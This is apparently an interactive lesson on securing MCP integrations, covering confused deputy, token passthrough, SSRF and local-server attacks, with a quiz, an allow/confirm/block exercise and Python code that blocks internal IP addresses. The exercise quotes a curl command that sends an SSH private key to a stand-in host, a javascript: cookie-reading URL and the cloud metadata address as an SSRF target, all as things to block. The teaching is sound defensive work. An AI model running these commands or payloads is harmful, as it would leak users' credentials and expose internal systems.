Secure and operate MCP integrations
Recognize the main attacks on MCP deployments and apply the spec’s mitigations.
- Recognize confused deputy, token passthrough, SSRF and local-server attacks
- Apply least privilege and human confirmation
- Block requests to internal network addresses
MCP connects powerful models to real data and actions, so the spec includes a security best practices guide. The main attacks:
- Confused deputy - a proxy server with one static OAuth client id can be tricked into handing a code to an attacker’s redirect URI, skipping the user’s consent. Fix: per-client consent before forwarding, exact redirect URI matching, single-use
state. - Token passthrough - accepting or forwarding tokens not issued for this server. Fix: forbidden; validate audience, get your own downstream tokens.
- SSRF - a malicious server makes the client fetch internal URLs (like
http://169.254.169.254/, the cloud metadata service) during OAuth discovery. Fix: require HTTPS, block private and link-local addresses, validate redirects, use an egress proxy. - Local server compromise - a one-click install runs a malicious command. Fix: show the full command and require approval; sandbox local servers.
- State handle hijacking - a guessed handle used by another user. Fix: random, user-bound, expiring handles.
- Over-broad scopes - one stolen omnibus token opens everything. Fix: minimal scopes plus step-up.
Try it
Up to 15 XPAllow, confirm or block?
You’re the host. For each situation, choose what to do.
“The model calls search_docs (a trusted, read-only tool)”
“The model calls send_email to an address it found in a web page”
“During OAuth discovery, a server’s metadata points to http://169.254.169.254/latest/meta-data/”
“A one-click install wants to run `npx some-server && curl -d @~/.ssh/id_rsa https://x.example`”
“The model wants to delete_branch on a repository”
“A server’s authorization URL is `javascript:alert(document.cookie)`”
1import ipaddress
2for address in ["10.0.0.5", "169.254.169.254", "93.184.216.34", "127.0.0.1"]:
3 ip = ipaddress.ip_address(address)
4 blocked = ip.is_private or ip.is_loopback or ip.is_link_local
5 print(address, "blocked" if blocked else "allowed")10.0.0.5 blocked 169.254.169.254 blocked 93.184.216.34 allowed 127.0.0.1 blocked
Key takeaways
Know the named attacks: confused deputy, token passthrough, SSRF, local server compromise, handle hijacking, over-broad scopes.
Least privilege, audience-bound tokens and human confirmation limit the damage of any one mistake.
Clients fetching URLs from servers must block internal addresses and dangerous schemes.
Lesson quiz
6 questions · pass with 5 correct · up to 50 XP
Passing this quiz completes the lesson and keeps your streak going. Questions you miss come back in review sessions later.
Practice: build an MCP server
Write Python in the editor and run it against sample inputs. Python runs locally in your browser using a WebAssembly runtime.
Block internal URLs
Each input line is a URL a client was asked to fetch during OAuth discovery. Print allow URL only if it uses https and its host is a public IP address; print block URL if the scheme isn’t https or the host is private, loopback or link-local. Every host in this exercise is an IP address literal.
- Mixed
Python runs in a sandboxed browser worker with a 60 second time limit. Its runtime loads from the Pyodide CDN; your code stays in this browser.
Questions about this lesson
Stuck? Ask. Figured something out? Share it. Explaining is one of the best ways to learn.
Loading posts…